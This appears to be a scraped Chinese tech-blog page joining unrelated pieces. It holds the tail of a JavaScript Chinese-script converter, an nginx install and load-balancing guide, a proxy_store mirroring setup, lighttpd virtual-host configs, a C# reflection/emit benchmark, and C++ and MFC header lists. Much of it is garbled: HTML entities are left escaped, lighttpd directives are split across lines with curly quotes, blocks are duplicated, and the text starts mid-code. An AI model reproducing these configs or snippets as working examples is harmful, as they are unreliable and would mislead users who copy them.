OO.type != "hidden" ) OO.value = StranText( OO.value ) ; if ( OO.nodeType == 3 ) { OO.data = StranText( OO.data ) } else StranBody( OO) } } function JTPYStr( ) { return '。。。' ; } function FTPYStr( ) { return '。。。' ; } function Traditionalized( cc) { var str= '' , ss= JTPYStr( ) , tt= FTPYStr( ) ; for ( var i= 0 ; i& lt; cc.length ; i++ ) { if ( cc.charCodeAt ( i) & gt; 10000 & amp;& amp; ss.indexOf ( cc.charAt ( i) ) !=- 1 ) str+= tt.charAt ( ss.indexOf ( cc.charAt ( i) ) ) ; else str+= cc.charAt ( i) ; } return str; } function Simplized( cc) { var str= '' , ss= JTPYStr( ) , tt= FTPYStr( ) ; for ( var i= 0 ; i& lt; cc.length ; i++ ) { if ( cc.charCodeAt ( i) & gt; 10000 & amp;& amp; tt.indexOf ( cc.charAt ( i) ) !=- 1 ) str+= ss.charAt ( tt.indexOf ( cc.charAt ( i) ) ) ; else str+= cc.charAt ( i) ; } return str; } function setCookie( name , value) //cookies设置 { var argv = setCookie.arguments ; var argc = setCookie.arguments .length ; var expires = ( argc & gt; 2 ) ? argv[ 2 ] : null ; if ( expires!= null ) { var LargeExpDate = new Date ( ) ; LargeExpDate.setTime ( LargeExpDate.getTime ( ) + ( expires* 1000 * 3600 * 24 ) ) ; } document.cookie = name + "=" + escape ( value) + ( ( expires == null ) ? "" : ( "; expires=" + LargeExpDate.toGMTString ( ) ) ) ; } function getCookie( Name ) //cookies读取 { var search = Name + "=" if ( document.cookie .length & gt; 0 ) { offset = document.cookie .indexOf ( search) if ( offset != - 1 ) { offset += search.length end = document.cookie .indexOf ( ";" , offset) if ( end == - 1 ) end = document.cookie .length return unescape( document.cookie .substring ( offset, end) ) } else return "" } } var StranLink_Obj= document.getElementById ( "StranLink" ) if ( StranLink_Obj) { var JF_cn= "ft" + self.location .hostname .toString ( ) .replace ( /\./g , "" ) var BodyIsFt= getCookie( JF_cn) if ( BodyIsFt!= "1" ) BodyIsFt= Default_isFT with ( StranLink_Obj) { if ( typeof ( document.all ) != "object" ) //非IE浏览器 { href= "javascript:StranBody()" } else { href= "#" ; onclick= new Function ( "StranBody();return false" ) } title= StranText( "以繁体中文浏览" , 1 , 0 ) innerHTML= StranText( innerHTML, 1 , 0 ) } if ( BodyIsFt== "1" ) { setTimeout( "StranBody()" , StranIt_Delay) } } & lt;/ script& gt; & lt;/ body& gt; & lt;/ html& gt;
Nginx作为一个后起之秀,他的迷人之处已经让很多人都投入了他的怀抱。配置简单,实现原理简单。做一个负载平衡的再好不过了。
其原理:
简单介绍一下他的安装及配置过程
官方网站
http://wiki.codemongers.com/Main
一、依赖的程序
1. gzip module requires zlib library
2. rewrite module requires pcre library
3. ssl support requires openssl library
二、安装
./configure
make
make install
默认安装的路径是/usr/local/nginx
更多的安装配置
./configure –prefix=/usr/local/nginx
–with-openssl=/usr/include (启用ssl)
–with-pcre=/usr/include/pcre/ (启用正规表达式)
–with-http_stub_status_module (安装可以查看nginx状态的程序)
–with-http_memcached_module (启用memcache缓存)
–with-http_rewrite_module (启用支持url重写)
三、启动及重启
启动:nginx
重启:kill -HUP `cat /usr/local/nginx/logs/nginx.pid`
测试配置文件:nginx -t
简单吧,安装,启动都比较方便。
四、配置文件
http://wiki.codemongers.com/NginxFullExample
#运行用户
user nobody nobody;
#启动进程
worker_processes 5;
#全局错误日志及PID文件
error_log logs/error.log notice;
pid logs/nginx.pid;
#工作模式及连接数上限
events {
#工作模式有:select(标准模式),poll(标准模式),kqueue(高效模式,适用FreeBSD 4.1+, OpenBSD 2.9+, NetBSD 2.0 and MacOS X),
#epoll(高效模式,本例用的。适用Linux 2.6+,SuSE 8.2,),/dev/poll(高效模式,适用Solaris 7 11/99+, HP/UX 11.22+ (eventport), IRIX 6.5.15+ 和 Tru64 UNIX 5.1A+)
use epoll;
worker_connections 1024;
}
#设定http服务器,利用它的反向代理功能提供负载均衡支持
http {
#设定mime类型
include conf/mime.types;
default_type application/octet-stream;
#设定日志格式
log_format main '$remote_addr - $remote_user [$time_local] '
'"$request" $status $bytes_sent '
'"$http_referer" "$http_user_agent" '
'"$gzip_ratio"';
log_format download '$remote_addr - $remote_user [$time_local] '
'"$request" $status $bytes_sent '
'"$http_referer" "$http_user_agent" '
'"$http_range" "$sent_http_content_range"';
#设定请求缓冲
client_header_buffer_size 10k;
large_client_header_buffers 4 4k;
#开启gzip模块,要求安装gzip 在运行./config时要指定
gzip on;
gzip_min_length 1100;
gzip_buffers 4 8k;
gzip_types text/plain;
output_buffers 1 32k;
postpone_output 1460;
#设定访问日志
access_log logs/access.log main;
client_header_timeout 3m;
client_body_timeout 3m;
send_timeout 3m;
sendfile on;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout 65;
#设定负载均衡的服务器列表
upstream backserver {
#weigth参数表示权值,权值越高被分配到的几率越大
#本例是指在同一台服务器,多台服务器改变ip即可
server 127.0.0.1:8081 weight=5;
server 127.0.0.1:8082;
server 127.0.0.1:8083;
}
#设定虚拟主机,默认为监听80端口,改成其他端口会出现问题
server {
listen 80;
server_name test.com
www.test.com
;
charset utf8;
#设定本虚拟主机的访问日志
access_log logs/test.com.log main;
#如果访问 /images/*, /js/*, /css/* 资源,则直接取本地文件,不用转发。但如果文件较多效果不是太好。
location ~ ^/(images|js|css)/ {
root /usr/local/testweb;
expires 30m;
}
#对 "/" 启用负载均衡
location / {
proxy_pass http://backserver
;
proxy_redirect off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
client_max_body_size 10m;
client_body_buffer_size 128k;
proxy_connect_timeout 90;
proxy_send_timeout 90;
proxy_read_timeout 90;
proxy_buffer_size 4k;
proxy_buffers 4 32k;
proxy_busy_buffers_size 64k;
proxy_temp_file_write_size 64k;
}
#设定查看Nginx状态的地址,在运行./config 要指定,默认是不安装的。
location /NginxStatus {
stub_status on;
access_log on;
auth_basic "NginxStatus";
#是否要通过用户名和密码访问,测试时可以不加上。conf/htpasswd 文件的内容用 apache
提供的 htpasswd 工具来产生即可
#auth_basic_user_file conf/htpasswd;
}
}
有详细的说明
-----------------------------------------------------------------------------------
曾经写过是否要放弃使用varnish/squid, 经过几天的实验,终于找到一种比较理想的解决方案:
直接使用proxy模块的proxy_store来实现分布mirror.
首先说说我的需求:
1. 我需要将一些静态文件从应用服务器剥离, 负载到其他的节点.
2. 这些文件主要是静态Html和图片,包括缩略图. 这些文件一旦创建,更新的频率很少.
3. 在某些时候需要手动立即从各个分布节点删除或更新某些文件
4. 尽可能减少应用服务器的请求, 进而减少内网的流量
之前,我分别使用了squid和varnish.
最初用的squid,还凑合.不过,squid在高负载下会出现停滞甚至crash或者是空白页.
于是换成varnish.
varnish也是老毛病,偶尔也会crash.
二者的共同点,就是当cache快满的时候,效率会急剧下降, 同时,对主服务器的请求甚至都
阻塞了整个内网.
要解决这个情况,varnish需要手动重启, squid则需要清除整个缓存目录.
对于varnish, 由于是纯内存的加速,因此,无法将cache设置太大,否则用上swap, 基本上是几倍的速度下降,
而且很容易就段违例了. 于是,当bots访问网站的时段, 就是噩梦产生的时候, 由于爬虫遍历太多的文件,
造成缓存很快溢出,于是频繁的invalid,此时,内网的带宽占用能达到100m以上….
可能有人说,为什么不用NFS. NFS的问题主要是锁的问题. 很容易造成死锁, 只有硬件重启才能解决.
为了脱离这个噩梦,我决定试验nginx的proxy_store. 如果使用Lighty,倒是非常简单,因为有mod_cache,配合lua,
会很灵活. 不过nginx的proxy_store并非是一个cache,因为它不具备expires, 新的cache模块仍在开发中.
不过经过仔细考量, 我惊喜的发现,其实这正是我想要的, 因为在我的需求中,绝大多数的文件都是不过期的,因而也无必要
去和后端服务器验证是否过期.
配置其实并不太复杂,但是过程有些曲折, 基本的思路是:
nginx首先检查本地是否有请求的文件,如果有直接送出,没有则从后端请求,并将结果存储在本地.
第一个方案,是基于error_page来实现的:
upstream backend{
server 192.168.8.10:80;
}
server {
listen 80;
access_log /logs/cache.log main;
server_name blog.night9.cn www.night9.cn night9.cn;
proxy_temp_path /cache/temp;
root /cache/$host;
location / {
index index.shtml;
error_page 404 = /fetch$uri;
}
ssi on;
location /fetch {
internal;
proxy_pass http://backend;
proxy_store on;
proxy_store_access user:rw group:rw all:rw;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Via “s9/nginx”;
alias /cache/$host;
}
#对于请求目录的情况下要特殊对待
location ~ /$ {
index index.shtml;
error_page 403 404 = @fetch;
}
location @fetch {
internal;
proxy_pass http://backend;
proxy_store /cache/$host${uri}index.shtml;
proxy_store_access user:rw group:rw all:rw;
proxy_set_header Host $host;
proxy_set_header Via “s9/nginx”;
proxy_set_header X-Real-IP $remote_addr;
}
}
这个方案对于普通的情况下,基本满足.
缓存是做到了,但是如何实现更新呢?
其实很简单,只要将指定url的从本地cache目录删除即可.
因为proxy_store会按照实际请求的url地址建立相应的目录结构.
于是,我写了一个fastcgi, 只要将需要清楚的url传递给它,从cache目录中删除.
其实可以用perl_module实现,但是考虑到独立fastcgi服务更为稳定,还是和以前的统计一样,
用perl的CGI::Fast模块实现, 替换了10几行代码就搞定了.
事情本来就该告一段,不过,由于主服务器上使用了SSI, 新的问题就来了:
我们希望SSI的解析是在子节点上进行,而不是在主服务器上进行, 这样我们可以独立更新相应
区块的文件即可, 否则就需要清除所有的shtml文件,这是比较可怕的.
但是,Nginx对于SSI的subrequest无法使用error_page来重定向.(不确定是否是bug,不过如果允许
的确容易造成死循环).
于是,一个更为简单的方案就诞生了:
set $index ‘index.shtml’;
set $store_file $request_filename;
if ($uri ~ /$ ){
set $store_file $request_filename$index;
rewrite (.*) $1index.shtml last;
}
location / {
index index.shtml;
proxy_store on;
proxy_temp_path /cache/temp;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Via “s9/nginx”;
proxy_store_access user:rw group:rw all:rw;
if ( !-e $store_file ) {
proxy_pass http://backend;
}
}
Wow! 更为简单.
应该感谢Nginx的Rewrite模块, 这点也是我用Nginx替换Lighttpd的一个主要原因.
好了,我可以忘掉varnish,squid了.
如果有兴趣的人想使用, 请一定注意:
这个方案对静态文件更为有效,如果要加速动态请求,还是要用varnish
说道加速, 利用Memcached和nginx配合可以迅速提升访问动态页面的速度,
有时间再说.
lighttpd 虚拟主机配置
编辑 /etc/lightpd/lighttpd.conf 文件,添加:
$HTTP
[
"host"
]
== “wiki.guoshuang
.com
” {
server.name
= “wiki.guoshuang
.com
” server.document
-
root = “/
var/
www/
guoshuang”
server.errorlog
= “/
var/
www/
guoshuang/
cuowu.log
”
accesslog.filename
= “/
var/
www/
guoshuang/
cuowu.log
”
}
server.name
= “wiki.guoshuang
.com
”
server.document
-
root = “/
var/
www/
guoshuang”
server.errorlog
= “/
var/
www/
guoshuang/
cuowu.log
”
accesslog.filename
= “/
var/
www/
guoshuang/
cuowu.log
”
}
保存。重启 lightpd 即可。
lighttpd(别名)虚拟目录配置
server.modules
+
= (
“mod_alias” )
alias
.url
= (
“/
cgi-
bin/
” =&
gt; “/
home/
lighttpd/
theos.in
/
cgi-
bin/
” )
Browse all documents installed at /
usr/
share/
doc/
directory with following alias
:
alias
.url
= (
“/
docs/
” =&
gt; “/
usr/
share/
doc/
” )
alias
.url
+
= (
“/
stats/
” =&
gt; “/
home/
theos.in
/
http/
webalizer/
” )
alias
.url
= (
“/
cgi-
bin/
” =&
gt; “/
home/
lighttpd/
theos.in
/
cgi-
bin/
” )
Browse all documents installed at /
usr/
share/
doc/
directory with following alias
:
alias
.url
= (
“/
docs/
” =&
gt; “/
usr/
share/
doc/
” )
alias
.url
+
= (
“/
stats/
” =&
gt; “/
home/
theos.in
/
http/
webalizer/
” )
拒绝下载 ~ 和 .inc
文件。
url.access
-
deny = (
“~”, “.inc
” )
wikipedia 虚拟主机以后需要修改 LocalSettings.php
的目录。否则报告 404
错误。
--------------------------------------------------------------------------------------------------
Description¶
Simple assumption:
Every virtual host is in
a directory below a base directory in
a path that is the same as the name of the vhost. Below
this vhost path might be an extra directory which is the document root of the vhost.
The
document root for
each vhost is built from three values:
-
server-
root
-
hostname
-
document-
root
The complete document root is constructed either by
server-
root +
hostname +
document-
root
or
if
this path does not
exist by
server-
root +
default-
host +
document-
root
A small example should make this idea clear:
/
var/
www/
/
var/
www/
logs/
/
var/
www/
servers/
/
var/
www/
servers/
example.org
/
/
var/
www/
servers/
example.org
/
lib/
/
var/
www/
servers/
example.org
/
pages/
/
var/
www/
servers/
mail.example
.org
/
/
var/
www/
servers/
mail.example
.org
/
lib/
/
var/
www/
servers/
mail.example
.org
/
pages/
simple-
vhost.server
-
root = "/var/www/servers/"
simple-
vhost.default
-
host = "example.org"
simple-
vhost.document
-
root = "pages"
With this setup, requests for
"example.org"
or
"something-else.example.org"
will go to /
var/
www/
server/
example.org
/
pages, while
requests for
"mail.example.org"
will go to /
var/
www/
server/
mail.example
.org
/
pages. You
can use symbolic links to map several hostnames to the same directory.
Conditionals
vs. simple
-
vhost¶
You have to keep in
mind that conditionals and
simple-
vhost interfere with one another.
simple
-
vhost.server
-
root = "/var/www/servers/"
simple-
vhost.default
-
host = "example.org"
simple-
vhost.document
-
root = "pages"
$HTTP
[
"host"
]
== "news.example.org"
{
server.document
-
root = "/var/www/servers/news2.example.org/pages/"
}
When
news.example
.org
is requested, the server.document
-
root will be set to /
var/
www/
servers/
news2.example
.org
/
pages/
, but simple-
vhost will overwrite it shortly afterwards.
If
/
var/
www/
servers/
news.example
.org
/
pages/
exists, that will be used. If
not
, /
var/
www/
servers/
example.org
/
pages/
will be taken because it is the default.
To
use conditionals together with simple-
vhost, you should do
this:
$HTTP
[
"host"
]
!= "news.example.org"
{
simple-
vhost.server
-
root = "/var/www/servers/"
simple-
vhost.default
-
host = "example.org"
simple-
vhost.document
-
root = "pages"
}
$HTTP
[
"host"
]
== "news.example.org"
{
server.document
-
root = "/var/www/servers/news2.example.org/pages/"
}
It will enable simple vhosting for
all hosts other than news.example
.org
.
For
two or
more hosts:
$HTTP
[
"host"
]
!~ "^(test1\.
example\.
org|test2\.
example\.
org)$"
{
simple-
vhost.server
-
root = "/var/www"
simple-
vhost.document
-
root = "/html/"
## the default host if no host is sent
simple-
vhost.default
-
host = "example.org"
}
$HTTP
[
"host"
]
== "test1.example.org"
{
server.document
-
root = "/home/user/sites/test1.example.org/"
accesslog.filename
= "/home/user/sites/logs/test1.example.org.access.log"
}
$HTTP
[
"host"
]
== "test2.example.org"
{
server.document
-
root = "/home/user/sites/test2.example.org"
accesslog.filename
= "/home/user/sites/logs/test2.example.org.access.log"
}
It will enable simple virtual hosting for
all hosts other than test1.example
.org
and
test2.example
.org
.
Of
course you will need to setup permissions for
folders (
change owner to the user running lighttpd)
if
you do
it like in
that example.
Options
¶
simple-
vhost.server
-
root¶
The root of the virtual host
simple-
vhost.default
-
host¶
Use this hostname if
the requested hostname does not
have its own directory
simple-
vhost.document
-
root¶
The path below the vhost directory
Tips¶
Make sure mod_simple_vhost is the first mod in
'server.modules'
list,when
you are using mod_simple_vhost with mod_cache and
mod_proxy.
You
can configure a virtual host with multiple domain names by using 'or'
syntax such as:
$HTTP
[
"host"
]
=~ "^(hosta\.
example\.
org|hostb\.
example\.
net)$"
{
... virtualhost
configuration here ...
}
WWW¶
You do
not
need to use two entries for
example.com
and
<
a href="http://www.example.com/"
>
www.example
.com
</
a>
. The
following syntax will act as a catch
all for
both example.com
and
any subdomains under it:
$HTTP
[
"host"
]
=~ "(^|\.
)example\.
com$"
{
...
}
案例
using System;
using System.Diagnostics;
using System.Reflection;
using System.Reflection.Emit;
using System.Runtime.CompilerServices;
public class CallTest
{
public delegate int AddDelegate(int x);
public interface IAdd
{
int add(int i);
}
public class addClass : IAdd
{
[MethodImpl(MethodImplOptions.NoInlining)]
public int add(int i)
{
return i + 1;
}
[MethodImpl(MethodImplOptions.NoInlining)]
public static int static_add(int x)
{
return x + 1;
}
}
public static MethodInfo addMethodInfo()
{
AssemblyName asmName = new AssemblyName();
asmName.Name = "DynamicAssembly";
AssemblyBuilder asmBuilder = AppDomain.CurrentDomain.DefineDynamicAssembly(asmName, AssemblyBuilderAccess.Run);
ModuleBuilder modBuilder = asmBuilder.DefineDynamicModule("DynamicModule");
MethodBuilder funBuilder = modBuilder.DefineGlobalMethod("add", MethodAttributes.Public
| MethodAttributes.Static, typeof(int), new Type[1] { typeof(int) });
ILGenerator il = funBuilder.GetILGenerator();
il.Emit(OpCodes.Ldarg_0);
il.Emit(OpCodes.Ldc_I4_1);
il.Emit(OpCodes.Add);
il.Emit(OpCodes.Ret);
modBuilder.CreateGlobalFunctions();
MethodInfo method = modBuilder.GetMethod("add");
return method;
}
public static DynamicMethod addDynamicMethod()
{
DynamicMethod dm = new DynamicMethod("add", typeof(int), new Type[] { typeof(int) });
ILGenerator il = dm.GetILGenerator();
il.Emit(OpCodes.Ldarg_0);
il.Emit(OpCodes.Ldc_I4_1);
il.Emit(OpCodes.Add);
il.Emit(OpCodes.Ret);
return dm;
}
public static IAdd addInterface()
{
Type baseType = typeof(IAdd);
//创建动态程序集。
AssemblyName asmName = new AssemblyName("add.assembly");
AssemblyBuilder assembly = AppDomain.CurrentDomain.DefineDynamicAssembly(asmName, AssemblyBuilderAccess.Run);
//创建动态模块。
ModuleBuilder module = assembly.DefineDynamicModule("add.module");
//创建类型 MyClass。
TypeBuilder type = module.DefineType("MyClass", TypeAttributes.Class, typeof(Object), new Type[] { baseType });
//创建方法
MethodAttributes attribute = baseType.GetMethod("add").Attributes & ~(MethodAttributes.Abstract);
MethodBuilder method = type.DefineMethod("add", attribute, typeof(int), new Type[1] { typeof(int) });
ILGenerator il = method.GetILGenerator();
il = method.GetILGenerator();
il.Emit(OpCodes.Ldarg_1);
il.Emit(OpCodes.Ldc_I4_1);
il.Emit(OpCodes.Add);
il.Emit(OpCodes.Ret);
// 显式接口方法需要定义 Override,而普通实现不需要。
type.DefineMethodOverride(method, baseType.GetMethod("add"));
// 创建类型 MyClass。
Type myClass = type.CreateType();
object o = Activator.CreateInstance(myClass);
IAdd iadd = o as IAdd;
return iadd;
}
static void Main(string[] args)
{
const int TIMES = 100000000;
Stopwatch time = new Stopwatch();
time.Reset();
time.Start();
for (int i = 0; i < TIMES; )
i++;
time.Stop();
Console.WriteLine("直接执行时间:" + time.ElapsedMilliseconds);
time.Reset();
time.Start();
for (int i = 0; i < TIMES; )
i = addClass.static_add(i);
time.Stop();
Console.WriteLine("静态函数执行时间:" + time.ElapsedMilliseconds);
time.Reset();
time.Start();
addClass add = new addClass();
for (int i = 0; i < TIMES; )
i = add.add(i);
time.Stop();
Console.WriteLine("成员函数执行时间:" + time.ElapsedMilliseconds);
AddDelegate staticAddDelegate = new AddDelegate(addClass.static_add);
time.Reset();
time.Start();
for (int i = 0; i < TIMES; )
i = staticAddDelegate(i);
time.Stop();
Console.WriteLine("静态方法的delegate执行时间:" + time.ElapsedMilliseconds);
time.Reset();
time.Start();
IAdd iadd = new addClass();
for (int i = 0; i < TIMES; )
i = iadd.add(i);
time.Stop();
Console.WriteLine("接口函数执行时间:" + time.ElapsedMilliseconds);
MethodInfo addMethod = addMethodInfo();
time.Reset();
time.Start();
for (int i = 0; i < TIMES / 100; )
i = (int)addMethod.Invoke(null, new object[1] { i });
time.Stop();
Console.WriteLine("反射Invoke执行时间:" + time.ElapsedMilliseconds * 100);
DynamicMethod dynamicMethod = addDynamicMethod();
time.Reset();
time.Start();
for (int i = 0; i < TIMES / 100; )
i = (int)dynamicMethod.Invoke(null, new object[1] { i });
time.Stop();
Console.WriteLine("DynamicMethod.Invoke执行时间:" + time.ElapsedMilliseconds * 100);
AddDelegate dynamicAddDelegate = (AddDelegate)dynamicMethod.CreateDelegate(typeof(AddDelegate));
time.Reset();
time.Start();
for (int i = 0; i < TIMES; )
i = dynamicAddDelegate(i);
time.Stop();
Console.WriteLine("DynamicMethod生成delegate执行时间:" + time.ElapsedMilliseconds);
IAdd dynamicIAdd = addInterface();
time.Reset();
time.Start();
for (int i = 0; i < TIMES; )
i = dynamicIAdd.add(i);
time.Stop();
Console.WriteLine("emit生成的interface执行时间:" + time.ElapsedMilliseconds);
Console.ReadLine();
}
}
.
直接执行时间:95
静态函数执行时间:388
成员函数执行时间:485
静态方法的delegate执行时间:728
接口函数执行时间:591
反射Invoke执行时间:259600
DynamicMethod.Invoke执行时间:600300
DynamicMethod生成delegate执行时间:623
emit生成的interface执行时间:621
.
C/C++头文件一览
(
C、传统 C++
#include <assert.h> //设定插入点
#include <ctype.h> //字符处理
#include <errno.h> //定义错误码
#include <float.h> //浮点数处理
#include <fstream.h> //文件输入/输出
#include <iomanip.h> //参数化输入/输出
#include <iostream.h> //数据流输入/输出
#include <limits.h> //定义各种数据类型最值常量
#include <locale.h> //定义本地化函数
#include <math.h> //定义数学函数
#include <stdio.h> //定义输入/输出函数
#include <stdlib.h> //定义杂项函数及内存分配函数
#include <string.h> //字符串处理
#include <strstrea.h> //基于数组的输入/输出
#include <time.h> //定义关于时间的函数
#include <wchar.h> //宽字符处理及输入/输出
#include <wctype.h> //宽字符分类
//////////////////////////////////////////////////////////////////////////
标准 C++ (同上的不再注释)
#include <algorithm> //STL 通用算法
#include <bitset> //STL 位集容器
#include <cctype>
#include <cerrno>
#include <clocale>
#include <cmath>
#include <complex> //复数类
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <ctime>
#include <deque> //STL 双端队列容器
#include <exception> //异常处理类
#include <fstream>
#include <functional> //STL 定义运算函数(代替运算符)
#include <limits>
#include <list> //STL 线性列表容器
#include <map> //STL 映射容器
#include <iomanip>
#include <ios> //基本输入/输出支持
#include <iosfwd> //输入/输出系统使用的前置声明
#include <iostream>
#include <istream> //基本输入流
#include <ostream> //基本输出流
#include <queue> //STL 队列容器
#include <set> //STL 集合容器
#include <sstream> //基于字符串的流
#include <stack> //STL 堆栈容器
#include <stdexcept> //标准异常类
#include <streambuf> //底层输入/输出支持
#include <string> //字符串类
#include <utility> //STL 通用模板类
#include <vector> //STL 动态数组容器
#include <cwchar>
#include <cwctype>
using namespace std;
//////////////////////////////////////////////////////////////////////////
C99 增加
#include <complex.h> //复数处理
#include <fenv.h> //浮点环境
#include <inttypes.h> //整数格式转换
#include <stdbool.h> //布尔环境
#include <stdint.h> //整型环境
#include <tgmath.h> //通用类型数学宏
———————————————————————————————————
补充:
经常在CSDN以及其他之类的技术论坛上问关于C++ 头文件的问题。提出这些问题的往往就是那些刚学C++的新手。当初我是菜鸟的时候也问过类似的问题。
现在来看看下面两个include:
#include<iostream> // 这个就是1998年标准化以后的标准头文件
#include<iostream.h> // 这个就是标准化以前的头文件
更本质上的区别就是iostream把标准C++库的组件放在一个名位std的namespace里面。而相对的iostream.h则将这些标准组件放在全局空间里,同时在标准化以后旧有的C标准库也已经经过改造了。
看看下面这两个头文件
// 标准化后经过改造的C的标准库,所有的组件都放在了std中
#include<cstdio>
// 标准化以前C++中的C标准库
#include<stdio.h>
// 在看看这个头文件C标准库下 基于char* 的字符处理函数库
#include<string.h>
// 在标准化以后他变成了这样
#include<cstring>
// 但是很多朋友还看见过这个字符串处理函数库,他包含了新的string class
#include<string>
经过了标准委员会如此大规模手术后,在98年以前出品的C++编译器(BC3.0,BC5.0)上能顺利通过编译的源文件,在支持新标准的编译器上可能无法顺利通过编译也就是很正常的事了。
[起因]
在回过头来看看标准程序库,这个程序库涵盖范围相当广大,提过了许许多多好用的功能。正是因为这样标准程序库中class的名称和函数名与第三方提供的程序库中的class名或是函数名发生名字冲突的可能性大大增大。为了避免这个问题的发生,标准委员会决定将标准程序库中每一样东西都放在namespace std中。但是这么做同时有引来了一个新的问题。很多C++程序代码依赖那些已经存在很多年的C++ “准”标准程序库(C++迟迟未标准化才导致这些情况的发生),例如iosteam.h,complex.h等等。
为了解决这个新出现的问题,标准化委员会决定设计一些新的头文件名,给那些穿上std外衣的组件所使用。把C++头文件的.h去掉,于是就有前面出现的iostream,同样C的头文件也做了相同的处理,同时在前面加上了一个字母c,以表示是C的头文件(感觉上有中种族歧视的感觉)。同时标准化委员会声明就有的C++头文件将不再列于被支持的名单之中了,而旧有的C头文件为了满足“对C的兼容性”这个古老契约,仍然将继续存活下去。
但是,那些编译器厂商不可能去推翻他们客户的旧有编译器(也跟本不会去这么做),所以那些旧有的C++头文件仍然苟延残喘的活了下来,并不断的扰乱那些C++新兵的心智。
下面就是现在大多数C++开发工具表示头文件的组织状态:
1. 旧的C++头文件 比如iostream.h,他们虽然被标准化委员会所抛弃,但由于各大厂商为了各自的商业利益仍然将继续存活下去,这些头文件的内容将不处于namespace std中。
2. 新的C++头文件如iostream虽然提供了和旧有头文件相同的功能,但他的内容都并入了namespace std中,从而有效避免了名字污染的问题。
3. 标准C的头文件如stdio.h继续获得支持,这类文件的内容并未放在std中。
4. C函数库的技能也有对应的新式C++版本,起名称类似cstdio,这类头文件的内容也有幸穿上了std的外衣。
其实标准化以后的标准程序库的改动并不只有这些而已,很多的标准化组件都被“tamplate化”。其中就有元老级人物iostream。标准程序库的问题并不是用一篇,两篇文章就可以说清楚的。如果你像进一步的了解C++的标准程序库的话,你可以看看侯先生的《C++标准程序库》。
———————————————————
CAnimateCtrl afxcmn.h
CArchive afx.h
CArchiveException afx.h
CArray afxtempl.h
CAsyncMonikerFile afxole.h
CAsyncSocket afxsock.h
CBitmap afxwin.h
CBitmapButton afxext.h
CBrush afxwin.h
CButton afxwin.h
CByteArray afxcoll.h
CCachedDataPathProperty afxctl.h
CCheckListBox afxwin.h
CClientDC afxwin.h
CCmdTarget afxwin.h
CCmdUI afxwin.h
CColorDialog afxdlgs.h
CComboBox afxwin.h
CComboBoxEx afxcmn.h
CCommandLineInfo afxwin.h
CCommonDialog afxdlgs.h
CConnectionPoint afxdisp.h
CControlBar afxext.h
CCriticalSection afxmt.h
CCtrlView afxwin.h
CDaoDatabase afxdao.h
CDaoException afxdao.h
CDaoFieldExchange afxdao.h
CDaoQueryDef afxdao.h
CDaoRecordset afxdao.h
CDaoRecordView afxdao.h
CDaoTableDef afxdao.h
CDaoWorkspace afxdao.h
CDatabase afxdb.h
CDataExchange afxwin.h
CDataPathProperty afxctl.h
CDateTimeCtrl afxdtctl.h
CDBException afxdb.h
CDBVariant afxdb.h
CDC afxwin.h
CDHtmlDialog afxdhtml.h
CDialog afxwin.h
CDialogBar afxext.h
CDocItem afxole.h
CDockState afxadv.h
CDocObjectServer afxdocob.h
CDocObjectServerItem afxdocob.h
CDocTemplate afxwin.h
CDocument afxwin.h
CDragListBox afxcmn.h
CDumpContext afx.h
CDWordArray afxcoll.h
CEdit afxwin.h
CEditView afxext.h
CEvent afxmt.h
CException afx.h
CFieldExchange afxdb.h
CFile afx.h
CFileDialog afxdlgs.h
CFileException afx.h
CFileFind afx.h
CFindReplaceDialog afxdlgs.h
CFont afxwin.h
CFontDialog afxdlgs.h
CFontHolder afxctl.h
CFormView afxext.h
CFrameWnd afxwin.h
CFtpConnection afxinet.h
CFtpFileFind afxinet.h
CGdiObject afxwin.h
CGopherConnection afxinet.h
CGopherFile afxinet.h
CGopherFileFind afxinet.h
CGopherLocator afxinet.h
CHeaderCtrl afxcmn.h
CHotKeyCtrl afxcmn.h
CHtmlEditCtrl afxhtml.h
CHtmlEditCtrlBase afxhtml.h
CHtmlEditDoc afxhtml.h
CHtmlEditView afxhtml.h
CHtmlStream afxisapi.h
CHtmlView afxhtml.h
CHttpArgList afxisapi.h
CHttpConnection afxinet.h
CHttpFile afxinet.h
CHttpFilter afxisapi.h
CHttpFilterContext afxisapi.h
CHttpServer afxisapi.h
CHttpServerContext afxisapi.h
CImageList afxcmn.h
CInternetConnection afxinet.h
CInternetException afxinet.h
CInternetFile afxinet.h
CInternetSession afxinet.h
CIPAddressCtrl afxcmn.h
CLinkCtrl afxcmn.h
CList afxtempl.h
CListBox afxwin.h
CListCtrl afxcmn.h
CListView afxcview.h
CLongBinary afxdb_.h
CMap afxtempl.h
CMapPtrToPtr afxcoll.h
CMapPtrToWord afxcoll.h
CMapStringToOb afxcoll.h
CMapStringToPtr afxcoll.h
CMapStringToString afxcoll.h
CMapWordToOb afxcoll.h
CMapWordToPtr afxcoll.h
CMDIChildWnd afxwin.h
CMDIFrameWnd afxwin.h
CMemFile afx.h
CMemoryException afx.h
CMenu afxwin.h
CMetaFileDC afxext.h
CMiniFrameWnd afxwin.h
CMonikerFile afxole.h
CMonthCalCtrl afxdtctl.h
CMultiDocTemplate afxwin.h
CMultiLock afxmt.h
CMultiPageDHtmlDialog afxdhtml.h
CMutex afxmt.h
CNotSupportedException afx.h
CObArray afxcoll.h
CObject afx.h
CObList afxcoll.h
COccManager afxocc.h
COleBusyDialog afxodlgs.h
COleChangeIconDialog afxodlgs.h
COleChangeSourceDialog afxodlgs.h
COleClientItem afxole.h
COleCmdUI afxdocob.h
COleControl afxctl.h
COleControlContainer afxocc.h
COleControlModule afxctl.h
COleControlSite afxocc.h
COleConvertDialog afxodlgs.h
COleCurrency afxdisp.h
COleDataObject afxole.h
COleDataSource afxole.h
COleDBRecordView afxoledb.h
COleDialog afxodlgs.h
COleDispatchDriver afxdisp.h
COleDispatchException afxdisp.h
COleDocObjectItem afxole.h
COleDocument afxole.h
COleDropSource afxole.h
COleDropTarget afxole.h
COleException afxdisp.h
COleInsertDialog afxodlgs.h
COleIPFrameWnd afxole.h
COleLinkingDoc afxole.h
COleLinksDialog afxodlgs.h
COleMessageFilter afxole.h
COleObjectFactory afxdisp.h
COlePasteSpecialDialog afxodlgs.h
COlePropertiesDialog afxodlgs.h
COlePropertyPage afxctl.h
COleResizeBar afxole.h
COleSafeArray afxdisp.h
